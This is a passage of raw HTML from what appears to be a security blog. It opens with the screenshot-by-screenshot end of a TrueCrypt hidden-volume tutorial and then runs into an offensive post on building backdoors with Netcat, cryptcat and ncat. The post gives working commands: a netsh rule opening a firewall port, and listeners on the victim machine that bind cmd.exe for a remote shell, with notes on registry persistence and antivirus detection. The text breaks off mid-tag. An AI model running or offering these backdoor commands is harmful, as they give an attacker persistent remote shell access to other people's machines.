src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8dhDtcnz911cQr5yoviZPiVQj-mGpaNqFjpRsm_pvVYWEVis4rpsaRrUGkaVdDWmR5IN044b6QyZEvgLyembgRDaEU8kgm3UEAiKMq4iQ8nEl7y9hhdQTjbhdk_nYV-FfpT63yI91J2A9/s1600/12.jpg" /></a></div><b>Step12.</b><br /><br /><br />Let's create the next volume, click "Next".<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2y5-zAUvpNzw-HsBjSO7WK5P7F92sy5HFwD1veVm4uyeDmLwBcORgpR47LpV2n_-IY5WHcjfaSSGM3HSPezJ5_MTtilxWhT0oZBVYoaiK8rvqfX8GDH7HK4TTwqfe5jUZWd3FDxpGoqcA/s1600/13.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2y5-zAUvpNzw-HsBjSO7WK5P7F92sy5HFwD1veVm4uyeDmLwBcORgpR47LpV2n_-IY5WHcjfaSSGM3HSPezJ5_MTtilxWhT0oZBVYoaiK8rvqfX8GDH7HK4TTwqfe5jUZWd3FDxpGoqcA/s1600/13.jpg" /></a></div><b>Step13.</b><br /><br /><a href="http://www.blogger.com/blogger.g?blogID=3931647244436708798" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><br />We will continue to do our hidden volume, again click "Next".<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNzipWop4OVxQgFwFczEjzhsw_zjSJ8AfRf9TrMTwOv4I8zkUe_Vu-4E7v-xC-IqSmLNIdu-7L1P9MnHWlSawBKI8mABi8N36MnAcJglubTYFmWF4d8JvXT6pFmGkvdNF0vDcMHF5sY7FU/s1600/14.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="283" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNzipWop4OVxQgFwFczEjzhsw_zjSJ8AfRf9TrMTwOv4I8zkUe_Vu-4E7v-xC-IqSmLNIdu-7L1P9MnHWlSawBKI8mABi8N36MnAcJglubTYFmWF4d8JvXT6pFmGkvdNF0vDcMHF5sY7FU/s400/14.jpg" width="400" /></a></div><span id="goog_1371429745"></span><br /><b>Step14.</b><br /><br /><br />Select the encryption mode you want to apply to your new volume.<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3KIP4TG-tqa_75DpmzcYlaeYkKokprMh52qy-vL16Ypw0_OX8rAAYhuhAcMg-M184pxo1ERj_ktuqBTemxXN-vtWa3A3QiGOhi_M9uH1QFwLd5ksz6WFnODMFSPENFcdT2LnFdj3iTUSO/s1600/15.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3KIP4TG-tqa_75DpmzcYlaeYkKokprMh52qy-vL16Ypw0_OX8rAAYhuhAcMg-M184pxo1ERj_ktuqBTemxXN-vtWa3A3QiGOhi_M9uH1QFwLd5ksz6WFnODMFSPENFcdT2LnFdj3iTUSO/s1600/15.jpg" /></a></div><b>Step15.</b><br /><br /><br />Enter the size of another volume.<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguKVH4BnyGXq9aMYeNEdRY3w_7JPs9OFMv8-Bhnjgldaz1mvCrxuOUlv9j8O_2U_xYDAZEyGa0xz71tTTDTxVC3o7dFxTEBs9KRG0cQdHo081kWri8PJ97iXE6uJFNFfegH8L5CrCEW3mf/s1600/16.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguKVH4BnyGXq9aMYeNEdRY3w_7JPs9OFMv8-Bhnjgldaz1mvCrxuOUlv9j8O_2U_xYDAZEyGa0xz71tTTDTxVC3o7dFxTEBs9KRG0cQdHo081kWri8PJ97iXE6uJFNFfegH8L5CrCEW3mf/s1600/16.jpg" /></a></div><b>Step16.</b><br /><br /><br />Choose a secure password and different from the first, with many characters and click "Next".<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAhUX3j55FTLGRLFgqjI3SqTAe_TgeqQaTbym4eVILgtTwhIPnzXKx-c9XXw0Etz5yV1a0VANOZNAzhWWY8YYROzFZN91Gcz9c1kboT8dSnAlB7DwOdCw8XpO0JIBmr8tsAo2-bitBYrhk/s1600/17.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="225" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAhUX3j55FTLGRLFgqjI3SqTAe_TgeqQaTbym4eVILgtTwhIPnzXKx-c9XXw0Etz5yV1a0VANOZNAzhWWY8YYROzFZN91Gcz9c1kboT8dSnAlB7DwOdCw8XpO0JIBmr8tsAo2-bitBYrhk/s400/17.jpg" width="400" /></a></div><b>Step17.</b><br /><br /><br />Ready! Now the volumes are made, and beyond the expected, you have a hidden volume and secret to save your important data.<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi80hPWZFerrEg6naJT1yCx5lE7w_BAo0op0sgtm0OZkjdLrnoD6JIr_9OgLdDiRTq_G7TmVd88IeCrBPIsftdmqGHy31z1FRayaD8a3MWKOco5gfMLY2VOCyjpecQIQJjmAxw275y7M9t6/s1600/18.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi80hPWZFerrEg6naJT1yCx5lE7w_BAo0op0sgtm0OZkjdLrnoD6JIr_9OgLdDiRTq_G7TmVd88IeCrBPIsftdmqGHy31z1FRayaD8a3MWKOco5gfMLY2VOCyjpecQIQJjmAxw275y7M9t6/s1600/18.jpg" /></a></div><b>Step18.</b><br /><br /><br />Just click on "Exit".<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1WbppjzVUoMgaoc8Q5g9gScFXUxEKZ8MjmZI6B4hQjg_XsBIah1zytUxuSyGR1ho3OObJpzOubyQWqsxREP37tTs13kloeK4RIkRuj5fJIgLNIA-7A4MAgeURFEFGcWCMCcaKe1t_O0EA/s1600/19.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1WbppjzVUoMgaoc8Q5g9gScFXUxEKZ8MjmZI6B4hQjg_XsBIah1zytUxuSyGR1ho3OObJpzOubyQWqsxREP37tTs13kloeK4RIkRuj5fJIgLNIA-7A4MAgeURFEFGcWCMCcaKe1t_O0EA/s1600/19.jpg" /></a></div><b>Step19.</b><br /><br /><br />So let's understand how the volume created within the other, known as External.<br />Let's open Truecrypt and then first open the main volume, choose FILE SELECT, and we select the volume created.<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzOm4kqUS7YSn1rC0j9s0WRgLZOQan67znP_BhY0ZtF8CbiQX_j1z9PwxfI7NRmGea54jELzfdmpCLbWYxir-6EgN6t3yq0y0pTot0SVV2ScXOyAPxhNNK0UYNFLOCxb_jL5JMyqYqLICX/s1600/20.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzOm4kqUS7YSn1rC0j9s0WRgLZOQan67znP_BhY0ZtF8CbiQX_j1z9PwxfI7NRmGea54jELzfdmpCLbWYxir-6EgN6t3yq0y0pTot0SVV2ScXOyAPxhNNK0UYNFLOCxb_jL5JMyqYqLICX/s1600/20.jpg" /></a></div><b>Step20.</b><br /><br /><br />Click to open.<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7SppfQIpVx9aXH1fAjNRVRPy3RseAMz3gw8t1AIwd-EgZRALQIi-6MLZzrWepJ6YvxKwD978uKw_DzfH83SOsXCLTdLgqAesv0zo_lJl5jpTVNyJ9n94fOXhOdomwcNjtNSWGTp9yiDJU/s1600/21.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="271" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7SppfQIpVx9aXH1fAjNRVRPy3RseAMz3gw8t1AIwd-EgZRALQIi-6MLZzrWepJ6YvxKwD978uKw_DzfH83SOsXCLTdLgqAesv0zo_lJl5jpTVNyJ9n94fOXhOdomwcNjtNSWGTp9yiDJU/s400/21.jpg" width="400" /></a></div><b>Step21.</b><br /><br /><br />Click on "Mount".<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDVwr9KLHY_-Vr2_fgXpQzhygFFUi_PY5CI4pdeWCtgqZAy9vuvuSCRWEEKOJryPeKxob-oNeLwJeChgN05XOxQtbIBul4vyZhHdDEL2VbSdZqTYpg73Cb8I28PhAoaJbeHUZdn3MndhMP/s1600/22.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="262" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDVwr9KLHY_-Vr2_fgXpQzhygFFUi_PY5CI4pdeWCtgqZAy9vuvuSCRWEEKOJryPeKxob-oNeLwJeChgN05XOxQtbIBul4vyZhHdDEL2VbSdZqTYpg73Cb8I28PhAoaJbeHUZdn3MndhMP/s400/22.jpg" width="400" /></a></div><b>Step22.</b><br /><br /><br />This screen will ask for the password, remember that you have two, the volume for false and one for true.<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4yoO8k_XJyQNKg5U0lBRHvJWYjWEnFqfF5DwIUT5X1ctY0QXQ1DsJjmKE8tn5Cndxit5mNkuERbcIRbN496y0V76R8fhadjri3buu3WbpcL1GbOb5v-V_8v0j9RNjFhSwTIW4lKbYgMD1/s1600/23.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="232" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4yoO8k_XJyQNKg5U0lBRHvJWYjWEnFqfF5DwIUT5X1ctY0QXQ1DsJjmKE8tn5Cndxit5mNkuERbcIRbN496y0V76R8fhadjri3buu3WbpcL1GbOb5v-V_8v0j9RNjFhSwTIW4lKbYgMD1/s400/23.jpg" width="400" /></a></div><b>Step23</b><br /><br /><br />Choose which put password.<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGWtqjwy0fIZozKFkWr6l0tnYGaGlIB2yyqzbL4dq1A-2xJNmLLYlFfwUOvKvhYNr1Ken5nLOCf3i7oYQcKGjoRowOs5hMEyR7aprRdNvdux34LdgT3I4sWkd_RZLTwaIWhgBK4qyFyE_j/s1600/24.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="236" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGWtqjwy0fIZozKFkWr6l0tnYGaGlIB2yyqzbL4dq1A-2xJNmLLYlFfwUOvKvhYNr1Ken5nLOCf3i7oYQcKGjoRowOs5hMEyR7aprRdNvdux34LdgT3I4sWkd_RZLTwaIWhgBK4qyFyE_j/s400/24.jpg" width="400" /></a></div><b>Step24.</b><br /><br /><br />Pay attention to the volume that opened was the "normal".<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgL8sUJh0Ztl2QZ-56WsW2e3KTLN3cZL4REl2-2PCqqTIuJPLSPePujLkq0FITpsz6WKYCzlvt_gYYkEpAnJFUzA0_dSmP3Y6u4lzCdx0CumLLEJ5gIRfRJJKCiBfQCF6MnjvQCSHjLGJgC/s1600/25.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="230" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgL8sUJh0Ztl2QZ-56WsW2e3KTLN3cZL4REl2-2PCqqTIuJPLSPePujLkq0FITpsz6WKYCzlvt_gYYkEpAnJFUzA0_dSmP3Y6u4lzCdx0CumLLEJ5gIRfRJJKCiBfQCF6MnjvQCSHjLGJgC/s400/25.jpg" width="400" /></a></div><b>Step25.</b><br /><br /><br />You can use social engineering if you need some day.<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyGLR8vjxD7qyzYbSyFrkLOkZjkVRMTvGUTLJPAd-IvbVg8wyMpc4yvvGhjfgOTEsgj6PMbt_T2vivbtw6tfINycCyB66y-P-bm8JKIeP00U9oKXG24vCbER7ujVfhHdCcbrqBYq03r-dF/s1600/26.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyGLR8vjxD7qyzYbSyFrkLOkZjkVRMTvGUTLJPAd-IvbVg8wyMpc4yvvGhjfgOTEsgj6PMbt_T2vivbtw6tfINycCyB66y-P-bm8JKIeP00U9oKXG24vCbER7ujVfhHdCcbrqBYq03r-dF/s1600/26.jpg" /></a></div><b>Step26.</b><br /><br /><br />Click on “Dismount”.<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7uLWUMD01bAgwY6-_kb_rYOml03eDZVEYsTrfkkInctO7BMwcLp29fG8tROmI1ok6JcggFDrTFebrBFacdLrLDmTHy_Plbfcj5FrMavxp72ySQcKRE4m7EB7vDdAiRe74yQNQauf1veAT/s1600/27.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="228" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7uLWUMD01bAgwY6-_kb_rYOml03eDZVEYsTrfkkInctO7BMwcLp29fG8tROmI1ok6JcggFDrTFebrBFacdLrLDmTHy_Plbfcj5FrMavxp72ySQcKRE4m7EB7vDdAiRe74yQNQauf1veAT/s400/27.jpg" width="400" /></a></div><b>Step27.</b><br /><br /><br />We will select the same item again, now to test with another password.<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8znx54zXr2Yr0FeLtzmzNmRdrO1Awe6_Gv8xtsbqwFcCZFBsA1MDbQhJP7bgyeTfMXVgqgpn4yZF4qnt67R8vtAcd-GG1NZnXlOLKcBcjmNf0JlEYZU8akSDkyU9ygR9-sDVFRRNgzJYi/s1600/28.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8znx54zXr2Yr0FeLtzmzNmRdrO1Awe6_Gv8xtsbqwFcCZFBsA1MDbQhJP7bgyeTfMXVgqgpn4yZF4qnt67R8vtAcd-GG1NZnXlOLKcBcjmNf0JlEYZU8akSDkyU9ygR9-sDVFRRNgzJYi/s1600/28.jpg" /></a></div><b>Step 28.</b><br /><br />Enter the password for the hidden volume.<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8nbH9PMqCScrT0at7JZsvERAh0vXfDzmyR7ub6TA_x417gC0MoWv_rpm1enPPmob9tZ9erOCX4Lrye33CuSSdptFWYvhbi5JS-Yg9ZbB5Y4Tiet9ov4F4caPezx0IMGDVUNNnRQhhedNt/s1600/29.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8nbH9PMqCScrT0at7JZsvERAh0vXfDzmyR7ub6TA_x417gC0MoWv_rpm1enPPmob9tZ9erOCX4Lrye33CuSSdptFWYvhbi5JS-Yg9ZbB5Y4Tiet9ov4F4caPezx0IMGDVUNNnRQhhedNt/s1600/29.jpg" /></a></div><b>Step29.</b><br /><br /><br />Note that our hidden volume appears, note the size and type.<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRFFVVG3uKthlAPhVE7zzJ8OjLazY2i4nC7RWKjKTkc5bmoySTYnvBQa-kTIFAWnXeoQ1vrfkMLW9LALvTwJCTugqLYY9o3K5BNuioH5f8JT6PvPzMGZ5TtK5YolOlQWqGRzYSaYfK56Pt/s1600/30.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRFFVVG3uKthlAPhVE7zzJ8OjLazY2i4nC7RWKjKTkc5bmoySTYnvBQa-kTIFAWnXeoQ1vrfkMLW9LALvTwJCTugqLYY9o3K5BNuioH5f8JT6PvPzMGZ5TtK5YolOlQWqGRzYSaYfK56Pt/s400/30.jpg" width="400" /></a></div><br /><br />This article shows a technique for case one day you will be forced to disclose information, learn how to get out of this trap.<br /><br />It's also a great way to protect your company's data and a security strategy that should apply to stay quiet with your important data.<br /><br /><b>About the Author</b><br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW20uw8T8ysccUKPby8pUltzOvGP9SFROKU-o2mqHEuxLw9FUwB3OsaAAr535b818hL9f3KxihgWtIlfaPNaruznzRxx3X9NVNlCf8tFj19pIEDs2NMnIO2nT2U4oBsNSY23ZIVvbJfVZo/s1600/desouze.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW20uw8T8ysccUKPby8pUltzOvGP9SFROKU-o2mqHEuxLw9FUwB3OsaAAr535b818hL9f3KxihgWtIlfaPNaruznzRxx3X9NVNlCf8tFj19pIEDs2NMnIO2nT2U4oBsNSY23ZIVvbJfVZo/s200/desouze.jpg" width="187" /></a>This is a guest post written by<b> , RAFAEL FONTES SOUZA.</b>He is the maintainer of the “<b>Project Backtrack Team Brazilian</b>”, He is also a member of the "<b>French Backtrack Team</b>" and made partnerships with groups from Indonesia and Algeria, was prepared a collection of video lessons and made available on the website.<br /><br />He am Founder of the "<b>Wikileaks and Intelligence, Cypherpunks</b>". Good communication in groups and the general public, attended college projects with a focus on business organization, he currently seeks work experience outside of brazil”.</div>

ZERO-DAY A Future Threat, And How To Protect Your Data

ABSTRACT It is known that practically all software has security flaws (programming problems that give individuals opportunities to explore p...

+ Read more »

Backdoor using Netcat, cryptcat , ncat.

<div dir="ltr" style="text-align: left;" trbidi="on">Today we are gonna talk about Netcat & its alternative ; i assume that all of you are familiar with Netcat. If not than <a href="http://en.wikipedia.org/wiki/Netcat" target="_blank">read here</a>.  Also i assume that you have already open port 455 using following command.<br /><br />netsh firewall add portopening TCP 455 "Service Firewall" ENABLE ALL<br /><br />Attacker `s I.P : 192.168.56.1<br /><br />Victim`s I.P.     : 192.168.56.101<br /><div class="separator" style="clear: both; text-align: center;"></div><br /><div class="separator" style="clear: both; text-align: center;"></div>We will talk about Netcat, cryptcat & ncat.<br /><br /><h3 style="text-align: left;">(A)Netcat:-</h3><div style="text-align: left;"><br />Netcat is used as backdoor. After gaining access to machine , we are creating "netcat" as startup service using changes to the system registry . And then we are gonna open port for communication. At attacker side just start  netcat listener. <a href="http://www.offensive-security.com/metasploit-unleashed/Netcat_Backdoor" target="_blank">Here</a> is tutorial on <a href="http://www.offensive-security.com/metasploit-unleashed/Netcat_Backdoor" target="_blank">how to create netcat backdoor?</a> <br /><br />But if you know about method used in that tutorial ; there are some disadvantages of using netcat.<br /><br />(1)Most of AV flag netcat as hacking tool :- I know You can use crypter , but still general behavior detection  possible by AV.</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzABJ6AyRz4h1ZnLW4YMqHLVXtHI27WTeipyCS1uPOuyaL-3tE2q9D2zVGOf6ZP3jMSB_8QHONB6ay4YXr9FoN0RvPpPnyBdjflOnCRe8Gs1Q_uLFosqD2YnLcrt-gjp3aNtr8X6zkWDFq/s1600/netcat-virus.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="netcat-virustotal" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzABJ6AyRz4h1ZnLW4YMqHLVXtHI27WTeipyCS1uPOuyaL-3tE2q9D2zVGOf6ZP3jMSB_8QHONB6ay4YXr9FoN0RvPpPnyBdjflOnCRe8Gs1Q_uLFosqD2YnLcrt-gjp3aNtr8X6zkWDFq/s1600/netcat-virus.PNG" title="netcat-virustotal" /></a></div><br /><div style="text-align: center;"><a href="https://www.virustotal.com/en/file/be4211fe5c1a19ff393a2bcfa21dad8d0a687663263a63789552bda446d9421b/analysis/" target="_blank">Virustotal link of netcat</a></div><br />(2)Clear text communication (No encryption):-anyone from same network can view your communication.Also due to clear text communication firewall or AV can popup & block our communication.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbHK6ELaV4hw_PVV1jyNPv5zNgoM9QU2KHINwT8K7kYFPztSL3_L6ifvDYPauht_Mfr1eVBLnf7ehGF9GxCcCS5zmPLgWKI0tls547_7WxyxiwYZC641Z3_lcK0yWfsCT99__hweUv_8XF/s1600/netcat_wireshark.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="netcat-capture-traffic-using-wireshark" border="0" height="247" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbHK6ELaV4hw_PVV1jyNPv5zNgoM9QU2KHINwT8K7kYFPztSL3_L6ifvDYPauht_Mfr1eVBLnf7ehGF9GxCcCS5zmPLgWKI0tls547_7WxyxiwYZC641Z3_lcK0yWfsCT99__hweUv_8XF/s320/netcat_wireshark.PNG" title="netcat-capture-traffic-using-wireshark" width="320" /></a></div><a name='more'></a><br />(3)No authentication:- anyone can start listner to connect back to our backdoor , because there is no mechanism to verify that user are authorized or not. <br /><br /><div style="text-align: left;"><br /></div><h3 style="text-align: left;">(B)Cryptcat:-</h3><div style="text-align: left;"><br />Cryptcat is same as netcat but in advanced it provide encryption & authentication mechanism.<br /><br /></div><div style="text-align: left;"><h4 style="text-align: left;"><b>How to install cryptcat?</b></h4></div><div style="text-align: left;"><br />In case of backtrack , apt-get install cryptcat .<br /><br />If you are in other linux OS , then you have to manually installed it from source ; because in repository it does not come with e option , so we can not bind any program to it.<br /><br />So download source from <a href="http://sourceforge.net/projects/cryptcat/" target="_blank">here</a> .</div><br />unzip it , change directory & enter following command<br /><br />make unix<br /><br />To make exe(windows compatible) from source , use visual studio.<br /><br />root@bt:~# cryptcat -h<br />[v1.10]<br />connect to somewhere:    nc [-options] hostname port[s] [ports] ... <br />listen for inbound:            nc -l -p port [-options] [hostname] [port]<br />options:<br />    -e prog            program to exec after connect [dangerous!!]<br />    -g gateway      source-routing hop point[s], up to 8<br />    -G num            source-routing pointer: 4, 8, 12, ...<br />    -h                     this cruft<br />    -k secret          set the shared secret<br />    -i secs              delay interval for lines sent, ports scanned<br />    -l                      listen mode, for inbound connects<br />    -n                     numeric-only IP addresses, no DNS<br />    -o file               hex dump of traffic<br />    -p port             local port number<br />    -r                     randomize local and remote ports<br />    -s addr             local source address<br />    -u                     UDP mode<br />    -v                     verbose [use twice to be more verbose]<br />    -w secs            timeout for connects and final net reads<br />    -z                     zero-I/O mode [used for scanning]<br /><br />Most of options are same as netcat, but look at new option as -k , it provide password for communication.<br /><br />On victim machine type following command<br /><br />cryptcat -Ldp 455 -e cmd.exe<br /><br />On attacker side , setup listner<br /><br />cryptcat 192.168.56.101 455<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgASTssC5nmYEYlwRkc8A9UzUkxWH2N35DnKTqNTrKlx9jMl_1X5tMk4XWASFZTrCj0hGwmI1U1SpdnfmN-tN1Yg7BDfzrxkJpNALVlQncCgfMmD30sJpjfsxP8j0qzlLhEdEvIbWg5FWTh/s1600/cryptcat.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="backdoor-using-cryptcat" border="0" height="98" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgASTssC5nmYEYlwRkc8A9UzUkxWH2N35DnKTqNTrKlx9jMl_1X5tMk4XWASFZTrCj0hGwmI1U1SpdnfmN-tN1Yg7BDfzrxkJpNALVlQncCgfMmD30sJpjfsxP8j0qzlLhEdEvIbWg5FWTh/s400/cryptcat.PNG" title="backdoor-using-cryptcat" width="400" /></a></div><br />Look at following figure ; where we capture traffic using wireshark ; it`s encrypted.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmn6rBrNngLKXTKrZLuxLwls7dHPfDG8TJNkBwD6Vpfv8wwvcMoRLesipcDduUdtt-bSOZfqA-ulK7lhtFU17nQZ4pPsV8SNx6XL5h-4ppbSmsVMQkFK-q4kKVt1Lad-crwHJRjvMJ835t/s1600/cryptcat-capture-traffic-wireshark.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="cryptcat-capture-traffic" border="0" height="245" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmn6rBrNngLKXTKrZLuxLwls7dHPfDG8TJNkBwD6Vpfv8wwvcMoRLesipcDduUdtt-bSOZfqA-ulK7lhtFU17nQZ4pPsV8SNx6XL5h-4ppbSmsVMQkFK-q4kKVt1Lad-crwHJRjvMJ835t/s320/cryptcat-capture-traffic-wireshark.PNG" title="cryptcat-capture-traffic" width="320" /></a></div><br />You can also provide -k option for authentication.So in case of cryptcat we got authentication & encryption.<br /><br />But still it detected by AV.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVjNi7392F8zNJti7kjG0ywHIfaSh5I5IjOHE1lxiqY3p7MH2Odml6DqF1LM44WMT2X4GgrZni4aY78MgB4CjNhHUfnkKyPjsIQ3i5GmX9ma9WRWI5pHM920k6PbemsA8CdxrVlkgLrQbL/s1600/crptcat-virustotal.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="cryptcat virustotal" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVjNi7392F8zNJti7kjG0ywHIfaSh5I5IjOHE1lxiqY3p7MH2Odml6DqF1LM44WMT2X4GgrZni4aY78MgB4CjNhHUfnkKyPjsIQ3i5GmX9ma9WRWI5pHM920k6PbemsA8CdxrVlkgLrQbL/s1600/crptcat-virustotal.PNG" title="cryptcat virustotal" /></a></div>                                           <a href="https://www.virustotal.com/en/file/71fdaf9ce3a4ae5843c526452746b7bd2ec80e84513b6ffbc47c63aa95dc8164/analysis/1382614430/" target="_blank"> Virustotal link</a><br /><br /><h3 style="text-align: left;">(3)Ncat:-</h3><div style="text-align: left;"><br />Ncat was written for the Nmap Project as a much-improved reimplementation of the venerable Netcat.Ncat  come with nmap , so in attacker side we have already installed ncat. </div><br />To download ncat for windwos click <a href="http://nmap.org/dist/ncat-portable-5.59BETA1.zip" target="_blank">here</a>.<br /><br />View man page of ncat or ncat --help ; it has so many option.<br /><br />For encryption & authentication you can use ssl ,ssl cert, ssl key ,ssl verify.<br /><br />on victim side:-<br /><br />ncat -lvp 455 --ssl -e cmd.exe --allow 192.168.56.1<br /><br />I encrypt communication using ssl & only allow 192.168.56.1 ip to connect back.It`s possible to connect back using spoofing I.P.<br /><br />on attacker side<br /><br />ncat 192.168.56.101 445 --ssl<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGTQHUil5sfpY-7ltUe_5uQVYFPYVSH-gKthaH6-heTdVgD7db22ZghkbLKMfbAGzMFebM3QCtosQWSweG7TgvW-QnkCRTnybdTwnKSXaaaRCjhc_UNAmRD_ijapRz-y82l9_tbeqcFHP6/s1600/ncat-ssl.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="ncat-backdoor" border="0" height="100" 